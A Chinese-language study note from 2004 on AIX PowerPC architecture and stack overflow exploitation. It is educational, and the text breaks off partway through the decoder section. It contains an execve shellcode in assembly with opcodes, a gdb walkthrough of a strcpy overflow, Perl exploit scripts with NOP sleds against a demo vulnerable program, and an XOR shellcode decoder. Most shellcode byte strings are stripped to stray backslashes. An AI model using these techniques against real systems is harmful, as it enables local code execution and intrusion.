AIX PowerPC体系结构及其溢出技术学习笔记

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AIX PowerPC体系结构及其溢出技术学习笔记

创建时间:2004-06-04 更新时间:2004-08-13 文章属性:原创

文章提交:san (san_at_xfocus.org)

整理:san@nsfocus.com 创建:2004-05-23 更新:2004-08-13

English Version: http://www.xfocus.org/documents/200408/5.html

一、 熟悉PowerPC体系及其精简指令集计算

PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的指令:

1、分支(branch)指令 2、定点(fixed-point)指令 3、浮点(floating-point)指令 4、装载和存储指令 5、处理器控制指令

PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:

通用寄存器的用途:

r0 在函数开始(function prologs)时使用。

r1 堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。

r2 内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。 r3 作为第一个参数和返回值。 r4-r10 函数或系统调用开始的参数。

r11 用在指针的调用和当作一些语言的环境指针。 r12 它用在异常处理和glink(动态连接器)代码。 r13 保留作为系统线程ID。 r14-r31 作为本地变量,非易失性。

专用寄存器的用途:

lr 链接寄存器,它用来存放函数调用结束处的返回地址。

ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。 xer 定点异常寄存器,存放整数运算操作的进位以及溢出信息。 msr 机器状态寄存器,用来配置微处理器的设定。

cr 条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。

寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。

寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。

条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。

在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。

二、学习AIX PowerPC汇编

由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:

/* setuid.c *

* Learn AIX PowerPC assembly */

#include int main() {

setuid(0); }

用gcc的-S选项编译一下:

-bash-2.05b$ gcc -S setuid.c

在当前目录得到setuid.s:

.file \ .toc

.csect .text[PR] .align 2 .globl main .globl .main .csect main[DS] main:

.long .main, TOC[tc0], 0 .csect .text[PR] .main:

.extern __mulh .extern __mull .extern __divss .extern __divus .extern __quoss .extern __quous mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-72(1) mr 31,1 li 3,0 bl .setuid nop mr 3,0 lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr LT..main: .long 0

.byte 0,0,32,97,128,1,0,1 .long LT..main-.main .short 4 .byte \ .byte 31 .align 2 _section_.text:

.csect .data[RW],3 .long _section_.text

经过精简,发现如下这样的格式就足够了:

.globl .main

.csect .text[PR] .main:

mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-72(1) mr 31,1 li 3,0 bl .setuid nop mr 3,0 lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr

三、学习AIX PowerPC的shellcode

B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:

-bash-2.05b$ cat simple_execve.s .globl .main .csect .text[PR] .main:

xor. %r5, %r5, %r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志

bnel .main # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环

mflr %r3 # 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址

addi %r3, %r3, 32 # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址

stw %r3, -8(%r1) # argv[0] = string 把r3写入堆栈 stw %r5, -4(%r1) # argv[1] = NULL 把0写入堆栈 subi %r4, %r1, 8 # r4指向argv[]

li %r2, 5 # AIX 5.1的execve中断号是5

crorc %cr6, %cr6, %cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。

svca 0 # execve(r3, r4, r5)

string: # execve(path, argv[], NULL) .asciz \

-bash-2.05b$ gcc -o simple_execve simple_execve.s -bash-2.05b$ ./simple_execve $

正确执行了execve,用objdump查看一下它的opcode:

-bash-2.05b$ objdump -d simple_execve|more ...

0000000010000544 <.main>:

10000544: 7c a5 2a 79 xor. r5,r5,r5 10000548: 40 82 ff fd bnel 10000544 <.main> 1000054c: 7c 68 02 a6 mflr r3 10000550: 38 63 00 20 cal r3,32(r3) 10000554: 90 61 ff f8 st r3,-8(r1) 10000558: 90 a1 ff fc st r5,-4(r1) 1000055c: 38 81 ff f8 cal r4,-8(r1) 10000560: 38 40 00 05 lil r2,5 10000564: 4c c6 33 42 crorc 6,6,6 10000568: 44 00 00 02 svca 0

1000056c: 2f 62 69 6e cmpi 6,r2,26990 10000570: 2f 73 68 00 cmpi 6,r19,26624 ...

可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:

/* shellcode.c *

* ripped from lsd */

char shellcode[] = /* 12*4+8 bytes */ \ \ \ \ \ \ \ \ \ \

\ \ \ \ ;

int main(void) {

int jump[2]={(int)shellcode,0}; ((*(void (*)())jump)()); }

编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:

.data:200006D8 XREF: .data:200006DCp

.data:200006D8 XREF: .data:shellcode_TCo

.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志

.data:200006DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环

.data:200006E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31, 8,这里把lr寄存器的值拷贝到r31

.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31等于.data:20000800 .data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3等于.data:20000708 .data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4等于.data:20000710 .data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # 把地址.data:20000708放到.data:20000710

.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # 把0放到.data:20000714 .data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31) # 读入execve的中断号到r2寄存器

.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # .data:2000070F写入一个字节0

.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement

.data:20000700 # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?

.data:20000704 44 .byte 0x44 # execve(r3, r4, r5)

.data:20000705 FF .byte 0xFF # execve(path, argv[], NULL) .data:20000706 FF .byte 0xFF .data:20000707 02 .byte 2 .data:20000708 2F .byte 0x2F # / .data:20000709 62 .byte 0x62 # b .data:2000070A 69 .byte 0x69 # i

#

DATA

shellcode: #

CODE

.data:2000070B 6E .byte 0x6E # n .data:2000070C 2F .byte 0x2F # / .data:2000070D 73 .byte 0x73 # s .data:2000070E 68 .byte 0x68 # h .data:2000070F 03 .byte 5

至此,我们了解了AIX PowerPC下如何简单的调试shellcode。

四、学习AIX PowerPC的溢出技术

要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。32位PowerPC的堆栈结构如下图:

. 调用前的堆栈 . . 调用后的堆栈 . . . . . | | | | +----------------+- +----------------+- | Parameter area | | | Parameter area | |

+----------------+ +-调用函数 +----------------+ +-调用函数 | Linkage area | | | Linkage area | | SP --->+----------------+- +----------------+- | 堆栈增长方向 | | Saved registers| | . | . +----------------+ | . v . | Local variables| |

+----------------+ +-被调函数 | Parameter area | | +----------------+ | | Linkage area | | SP --->+----------------+- | 堆栈增长方向 | . | . . v .

每个PowerPC的栈帧数据包含4个部分:链接区、参数区、本地变量和寄存器区。

链接区保存了被调函数和调用函数的一些值,它的结构如下:

+24+----------------+ | Saved TOC | +20+----------------+ | Reserved | +16+----------------+

| Reserved | +12+----------------+ | Saved LR | +8+----------------+ | Saved CR | +4+----------------+ | Saved SP | SP --->+----------------+

被调函数的链接寄存器(LR)保存到8(SP)。

被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。 堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。 全局链接代码会把TOC指针保存到20(SP)的地方。

参数区用来传递其它被调函数的参数。当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。

如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。它的大小在编译的时候确定,是不可修改的。

寄存器区包含非易失性寄存器的值。当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。当然,被调函数返回的时候需要恢复这些寄存器的值。

ia32中当函数返回时,一般都有如下三条指令:

mov esp,ebp ; 堆栈指针esp指向前一个栈帧 pop ebp

ret ; 执行esp+4保存的返回地址

AIX PowerPC中当函数返回时,一般有如下几条指令:

lwz r1,0(r1) # 堆栈指针r1指向前一个栈帧 lwz r0,8(r1) # r0等于堆栈里保存的lr值 mtlr r0 # lr=r0 lwz r31,-4(r1) #

blr # 跳到lr执行

可以看到虽然AIX PowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指定的地址执行;AIX PowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。

文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:

-bash-2.05b$ cat simple_overflow.c /* simple_overflow.c *

* Simple program to demonstrate buffer overflows * on the PowerPC architecture. */

#include #include char largebuff[] =

\int main (void) {

char smallbuff[16];

strcpy (smallbuff, largebuff); }

-bash-2.05b$ gcc -o simple_overflow simple_overflow.c -bash-2.05b$ gdb -q simple_overflow (gdb) r

Starting program: /home/san/simple_overflow

Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) i reg

r0 0x41424344 1094861636 r1 0x2ff22bb0 804400048 r2 0x20000e70 536874608 r3 0x20 32

r4 0x20000534 536872244 r5 0x2ff22bbc 804400060 r6 0x0 0 r7 0x0 0 r8 0x0 0

r9 0x80808080 -2139062144 r10 0x7f7f7f7f 2139062143 r11 0x4 4

r12 0x80808080 -2139062144 r13 0xdeadbeef -559038737 r14 0x1 1

r15 0x2ff22c00 804400128 r16 0x2ff22c08 804400136 r17 0x0 0

r18 0xdeadbeef -559038737

r19 0xdeadbeef -559038737 r20 0xdeadbeef -559038737 r21 0xdeadbeef -559038737 r22 0xdeadbeef -559038737 r23 0xdeadbeef -559038737 r24 0xdeadbeef -559038737 r25 0xdeadbeef -559038737 r26 0xdeadbeef -559038737 r27 0xdeadbeef -559038737 r28 0x20000460 536872032 r29 0x10000000 268435456 r30 0x3 3

r31 0x53455256 1397051990 pc 0x41424344 1094861636 ps 0x4000d032 1073795122 cr 0x22222842 572663874 lr 0x41424344 1094861636 ctr 0x4 4 xer 0x0 0 fpscr 0x0 0 vscr 0x0 0 vrsave 0x0 0 (gdb) x/8x $r1

0x2ff22bb0: 0x45445350 0x4143453d 0x41424344 0x00000000 0x2ff22bc0: 0x00000000 0x20000e70 0x00000000 0x00000000

pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD的:

(gdb) disas main

Dump of assembler code for function main: 0x1000054c : mflr r0

0x10000550 : stw r31,-4(r1) 0x10000554 : stw r0,8(r1) 0x10000558 : stwu r1,-88(r1) 0x1000055c : mr r31,r1 0x10000560 : addi r3,r31,56 0x10000564 : lwz r4,80(r2)

0x10000568 : bl 0x10006fa0 0x1000056c : nop

0x10000570 : mr r3,r0 0x10000574 : lwz r1,0(r1) 0x10000578 : lwz r0,8(r1) 0x1000057c : mtlr r0

0x10000580 : lwz r31,-4(r1)

0x10000584 : blr 0x10000588 : .long 0x0 0x1000058c : .long 0x2061 0x10000590 : lwz r0,1(r1) 0x10000594 : .long 0x3c 0x10000598 : .long 0x46d61 0x1000059c : xori r14,r11,7936 End of assembler dump. (gdb) b main

Breakpoint 1 at 0x10000560 (gdb) r

The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/san/simple_overflow

Breakpoint 1, 0x10000560 in main () (gdb) display/i $pc

1: x/i $pc 0x10000560 : addi r3,r31,56 (gdb) x/20x $r1

0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000 0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001 0x2ff22b88: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x2ff22b98: 0xdeadbeef 0xdeadbeef 0x20000460 0x10000000 (gdb)

0x2ff22ba8: 0x00000003 0x20000460 0x00000000 0x44222802 0x2ff22bb8: 0x100001cc 0x00000000 0x00000000 0x20000e70 0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000

0x2ff22b58是当前的堆栈指针,它指向的地址是前一个栈帧(0x2ff22bb0)。从堆栈内容来看,前一个栈帧保存的lr是0x100001cc,也就是说main函数退出后会执行到这个地址,先来看程序流程:

(gdb) until *0x1000056c 0x1000056c in main ()

1: x/i $pc 0x1000056c : nop (gdb) i reg

r0 0x20 32

r1 0x2ff22b58 804399960 r2 0x20000e70 536874608 r3 0x2ff22b90 804400016 r4 0x20000534 536872244 r5 0x2ff22bbc 804400060

r6 0x0 0 r7 0x0 0 r8 0x0 0

r9 0x80808080 -2139062144 r10 0x7f7f7f7f 2139062143 r11 0x4 4

r12 0x80808080 -2139062144 r13 0xdeadbeef -559038737 r14 0x1 1

r15 0x2ff22c00 804400128 r16 0x2ff22c08 804400136 r17 0x0 0

r18 0xdeadbeef -559038737 r19 0xdeadbeef -559038737 r20 0xdeadbeef -559038737 r21 0xdeadbeef -559038737 r22 0xdeadbeef -559038737 r23 0xdeadbeef -559038737 r24 0xdeadbeef -559038737 r25 0xdeadbeef -559038737 r26 0xdeadbeef -559038737 r27 0xdeadbeef -559038737 r28 0x20000460 536872032 r29 0x10000000 268435456 r30 0x3 3

r31 0x2ff22b58 804399960 pc 0x1000056c 268436844 ps 0x2d032 184370

cr 0x22222842 572663874 lr 0x1000056c 268436844 ctr 0x4 4 xer 0x0 0 fpscr 0x0 0 vscr 0x0 0 vrsave 0x0 0 (gdb) x/20x $r1

0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000 0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001 0x2ff22b88: 0x00000000 0xdeadbeef 0x31323334 0x35313233 0x2ff22b98: 0x34353132 0x33343531 0x32333435 0x31323334 (gdb)

0x2ff22ba8: 0x3d505245 0x53455256 0x45445350 0x4143453d 0x2ff22bb8: 0x41424344 0x00000000 0x00000000 0x20000e70

0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000

strcpy已经完成,前一个栈帧保存lr寄存器的内容已经改写成0x41424344,接着看程序流程: (gdb) ni

0x10000570 in main ()

1: x/i $pc 0x10000570 : mr r3,r0 (gdb)

0x10000574 in main ()

1: x/i $pc 0x10000574 : lwz r1,0(r1) (gdb)

0x10000578 in main ()

1: x/i $pc 0x10000578 : lwz r0,8(r1) (gdb)

0x1000057c in main ()

1: x/i $pc 0x1000057c : mtlr r0 (gdb)

0x10000580 in main ()

1: x/i $pc 0x10000580 : lwz r31,-4(r1) (gdb)

0x10000584 in main ()

1: x/i $pc 0x10000584 : blr (gdb)

这几步指令的功能在前面已经说过了,就是main函数在退出的时候会切换到前一个栈帧,并且把r1+8的内容保存到lr寄存器,然后跳到lr寄存器执行。

五、学习如何攻击AIX PowerPC的溢出程序

了解了溢出流程后,我们可以来试试如何写攻击程序:

-bash-2.05b$ cat vulnerable.c /* vulnerable.c *

* Vulnerable program on the PowerPC architecture. */

#include #include

int main (int argc, char *argv[]) {

char vulnbuff[16];

strcpy (vulnbuff, argv[1]); printf (\ getchar(); /* for debug */ }

-bash-2.05b$ gcc -o vulnerable vulnerable.c

AIX和其它架构的操作系统一样,也有USER_UPPER(栈底),它的地址是0x2ff22fff,大致的堆栈结构如下:

栈底

+----------------+ 0x2ff22fff | 保留 | +----------------+ | 环境变量 | +----------------+ | 执行文件参数 | +----------------+ |执行文件绝对路径| +----------------+ | 栈帧 | SP --->+----------------+ | 堆栈增长方向 | . | . . v .

我们能够比较准确的猜测环境变量的地址,参考前面的调试流程和watercloud的一些AIX攻击程序,想当然的写一个攻击程序:

-bash-2.05b$ cat exploit.pl #!/usr/bin/perl #

# exploit.pl

# exploit program vulnerable

$CMD=\

$SHELLCODE=

\ \ \ \ \ \

\ \ \ \ \ \ \ \

$NOP=\%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;

$ret=system $CMD ,\

调试一下:

-bash-2.05b$ ./exploit.pl

/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@

在另一个终端用gdb调试vulnerable:

-bash-2.05b$ ps aux|grep vul

san 47644 0.0 0.0 208 220 pts/1 A 22:16:24 0:00 grep vul

san 44544 0.0 0.0 96 304 pts/0 A 22:16:02 0:00 /home/san/vulnera -bash-2.05b$ gdb vulnerable 44544 GNU gdb 6.1

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \

There is absolutely no warranty for GDB. Type \This GDB was configured as \Attaching to program: /home/san/vulnerable, process 44544 0xd01ea254 in read () from /usr/lib/libc.a(shr.o) (gdb) disas main

Dump of assembler code for function main: 0x10000544 : mflr r0

0x10000548 : stw r31,-4(r1) 0x1000054c : stw r0,8(r1) 0x10000550 : stwu r1,-88(r1) 0x10000554 : mr r31,r1 0x10000558 : stw r3,112(r31)

0x1000055c : stw r4,116(r31) 0x10000560 : lwz r9,116(r31) 0x10000564 : addi r9,r9,4 0x10000568 : addi r3,r31,56 0x1000056c : lwz r4,0(r9)

0x10000570 : bl 0x10007000 0x10000574 : nop

0x10000578 : lwz r3,88(r2) 0x1000057c : addi r4,r31,56

0x10000580 : bl 0x100073ec 0x10000584 : lwz r2,20(r1) 0x10000588 : lwz r11,92(r2) 0x1000058c : lwz r9,92(r2) 0x10000590 : lwz r9,4(r9) 0x10000594 : addi r0,r9,-1 0x10000598 : stw r0,4(r11) 0x1000059c : cmpwi r0,0

0x100005a0 : bge- 0x100005b4 0x100005a4 : lwz r3,92(r2)

0x100005a8 : bl 0x1000747c <__filbuf> 0x100005ac : lwz r2,20(r1)

0x100005b0 : b 0x100005c8 0x100005b4 : lwz r11,92(r2) 0x100005b8 : lwz r9,92(r2) 0x100005bc : lwz r9,0(r9) 0x100005c0 : addi r0,r9,1 0x100005c4 : stw r0,0(r11) 0x100005c8 : mr r3,r0 0x100005cc : lwz r1,0(r1) 0x100005d0 : lwz r0,8(r1) 0x100005d4 : mtlr r0

0x100005d8 : lwz r31,-4(r1) 0x100005dc : blr 0x100005e0 : .long 0x0 0x100005e4 : .long 0x2061 0x100005e8 : lwz r0,513(r1)

---Type to continue, or q to quit--- 0x100005ec : .long 0x0 0x100005f0 : .long 0x9c 0x100005f4 : .long 0x46d61 0x100005f8 : xori r14,r11,7936 End of assembler dump. (gdb) b *0x100005dc Breakpoint 1 at 0x100005dc

(gdb) c Continuing.

在执行exploit.pl的窗口随便敲个键,gdb调试窗口就可以继续了:

Breakpoint 1, 0x100005dc in main () (gdb) i reg

r0 0x100001cc 268435916 r1 0x2ff22210 804397584 r2 0x20000ee8 536874728 r3 0xf00890f1 -267874063 r4 0xf00890f0 -267874064 r5 0x0 0 r6 0xd032 53298 r7 0x0 0

r8 0x60000000 1610612736 r9 0x60002449 1610622025 r10 0x0 0

r11 0x600026c8 1610622664 r12 0x100005ac 268436908 r13 0xdeadbeef -559038737 r14 0x2 2

r15 0x2ff22264 804397668 r16 0x2ff22270 804397680 r17 0x0 0

r18 0xdeadbeef -559038737 r19 0xdeadbeef -559038737 r20 0xdeadbeef -559038737 r21 0xdeadbeef -559038737 r22 0xdeadbeef -559038737 r23 0xdeadbeef -559038737 r24 0xdeadbeef -559038737 r25 0xdeadbeef -559038737 r26 0xdeadbeef -559038737 r27 0xdeadbeef -559038737 r28 0x20000520 536872224 r29 0x10000000 268435456 r30 0x3 3

r31 0x2ff22b40 804399936 pc 0x100005dc 268436956 ps 0x2d032 184370

cnd 0x24222422 606217250 lr 0x100001cc 268435916 cnt 0x0 0

xer 0x0 0 mq 0x0 0 fpscr 0x0 0 (gdb) x/20x $r1 (gdb) x/20x $r1

0x2ff22210: 0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000 0x2ff22220: 0x00000000 0x20000ee8 0x00000002 0x2ff2225c 0x2ff22230: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22240: 0x00000000 0x00000000 0x00000000 0x00000000 0x2ff22250: 0x00000000 0x00000000 0x00000000 0x2ff22270 (gdb) x/20x 0x2ff22b40

0x2ff22b40: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b50: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b60: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b70: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22b80: 0x60606060 0x60606060 0x60606060 0x60606060 ... ... ... (gdb)

0x2ff22f00: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22f10: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22f20: 0x60606060 0x60606060 0x60606060 0x60606060 0x2ff22f30: 0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8 0x2ff22f40: 0x02a63bff 0x0120387f 0xff08389f 0xff10907f

我们看到lr寄存器正好被覆盖为0x2ff22b40,这就说明程序的流程能达到0x2ff22b40,这个地址也都是填充的nop指令,由于AIX PowerPC是4字节的等长指令,注意到0x2ff22f34这个地址错了两个字节,这肯定导致shellcode无法正常执行。watercloud有一个很好的方法解决这个指令字节对齐的问题,用嵌套循环遍历保证字节对齐:

#!/usr/bin/perl #

# exploit1.pl

# exploit program vulnerable

$CMD=\

$SHELLCODE=

\ \ \ \ \

\ \ \ \ \ \ \ \ \

$NOP=\%ENV=();

$ENV{CCC}=$NOP.$SHELLCODE;

$ret=system $CMD ,\

for($i=0;$i<4 && $ret;$i++){ for($j=0;$j<4 && $ret;$j++) {

$ENV{CCC}=\

$ret = system $CMD ,\ } }

-bash-2.05b$ ./exploit1.pl

/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@

/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@

/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@

/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@ $

六、遭遇I-cache

为了适应各种复杂应用shellcode的编写,有一个解码shellcode就会变得相对容易。对ia32来说,这非常简单,PowerPC指令是不能直接操作内存的,参考ia32的decoder,写出下面的解码shellcode:

char shellcode[] =

// decoder

\\\

\

\\

\\\

\\

\

// real shellcode

\\\\\

\\

\\;

int main() {

int jump[2]={(int)shellcode,0}; ((*(void (*)())jump)()); }

前半部分是解码,r3指向真实shellcode前一个字节的地址,r9是计数器,是shellcode大小+1。这样从真实shellcode的最后一个字符开始做异或处理。

有一个很奇怪的问题,直接用gdb运行这个程序: (gdb) r

Starting program: /home/san/test

Program received signal SIGSEGV, Segmentation fault. 0x20000418 in shellcode () (gdb) x/8i $pc

0x20000418 : addi r3,r3,29 0x2000041c : stw r3,-8(r1)

0x20000420 : stw r5,-4(r1) 0x20000424 : addi r4,r1,-8 0x20000428 : li r2,5

0x2000042c : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq 0x20000430 : sc

0x20000434 : cmpdi cr6,r2,26990 (gdb) x/24x $pc-48

0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101

0x200003f8 : 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae 0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0 0x20000418 : 0x3863001d 0x9061fff8 0x90a1fffc 0x3881fff8 0x20000428 : 0x38400005 0x4cc63342 0x44000002 0x2f62696e 0x20000438 : 0x2f736800 0x00000000 0x100005a0 0x00000000 (gdb)

可以看到程序在0x20000418这个地址出错了,可是这时候的指令是addi r3,r3,29,不应该出错。查看内容,真实shellcode都已经正确解码了。

接下来看看一个灵异的事情:

(gdb) b *0x20000418 Breakpoint 1 at 0x20000418 (gdb) r

The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/san/test

Breakpoint 1, 0x20000418 in shellcode () (gdb) x/8i $pc

0x20000418 : lfsu f20,-285(r29) 0x2000041c : stw r3,-8(r1) 0x20000420 : stw r5,-4(r1) 0x20000424 : addi r4,r1,-8 0x20000428 : li r2,5

0x2000042c : crorc 4*cr1+eq,4*cr1+eq,4*cr1+eq 0x20000430 : sc

0x20000434 : cmpdi cr6,r2,26990 (gdb) x/24x $pc-48

0x200003e8 : 0x7ca52a79 0x4082fffd 0x7c6802a6 0x38630101

0x200003f8 : 0x3863ff26 0x39200101 0x3929ff23 0x7cc918ae 0x20000408 : 0x68c7fefe 0x7ce919ae 0x3529ffff 0x4082fff0 0x20000418 : 0xc69dfee3 0x9061fff8 0x90a1fffc 0x3881fff8 0x20000428 : 0x38400005 0x4cc63342 0x44000002 0x2f62696e 0x20000438 : 0x2f736800 0x00000000 0x100005a0 0x00000000

(gdb)

在地址0x20000418先设一个断点,你会发现这个指令没有被解码!实在让人匪夷所思,和watercloud讨论,他认为可能是分支预测的问题,但是我们在真实shellcode前加了很多nop指令也是出现这个问题。和alert7讨论过这个事情,他觉得有可能是指令缓存的问题,并且找到几年前一些人的讨论:

http://seclists.org/lists/vuln-dev/2001/Nov/0325.html

看来老外早就讨论过这个事情了。Andersen, Thomas Bjoern (TBAndersen_at_kpmg.com)认为用一系列缓存同步指令(dcbst,sync,icbi,isync?)可以正确执行。

PowerPC 体系结构开发者指南指出自修改代码可以按照下面的序列执行代码修改用到的指令:

1. 存储修改的指令。

2. 执行 dcbst 指令,强制包含有修改过的指令的高速缓存行进行存储。 3. 执行 sync 指令,确保 dcbst 完成。

4. 执行 icbi 指令,使将要存放修改后指令的指令高速缓存行无效。

5. 执行 isync 指令,清除所有指令的指令管道,那些指令在高速缓存行被设为无效之前可能早已被取走了。

6. 现在可以运行修改后的指令了。当取这个指令时会发生指令高速缓存失败,结果就会从存储器中取得修改后的指令。

但是还有另外的问题。我的AIX机器的操作系统和CPU信息是这样的:

-bash-2.05b$ uname -a AIX aix5 1 5 001381144C00 -bash-2.05b$ lsattr -El proc0

state enable Processor state False type PowerPC_604 Processor type False frequency 232649620 Processor Speed False

测试的结果很意外,我的AIX测试机并不支持一些缓存指令:

bash-2.05b$ cat testasm.s .globl .main .csect .text[PR] .main:

icbi %r6, %r13 dcbf %r6, %r13

bash-2.05b$ gcc testasm.s testasm.s: Assembler messages:

testasm.s:4: Error: Unrecognized opcode: `icbi' testasm.s:5: Error: Unrecognized opcode: `dcbf'

bash-2.05b$ /usr/ccs/bin/as testasm.s Assembler:

testasm.s: line 4: 1252-149 Instruction icbi is not implemented in the current assembly mode COM. testasm.s: line 4: 1252-142 Syntax error.

testasm.s: line 5: 1252-149 Instruction dcbf is not implemented in the current assembly mode COM. testasm.s: line 5: 1252-142 Syntax error.

不管是GNU的as还是操作系统自己带的as都不能识别这几个关于缓存的指令。于是想着用sync和isync是不是能够解决这个问题:

-bash-2.05b$ cat test.c char shellcode[] = // decoder

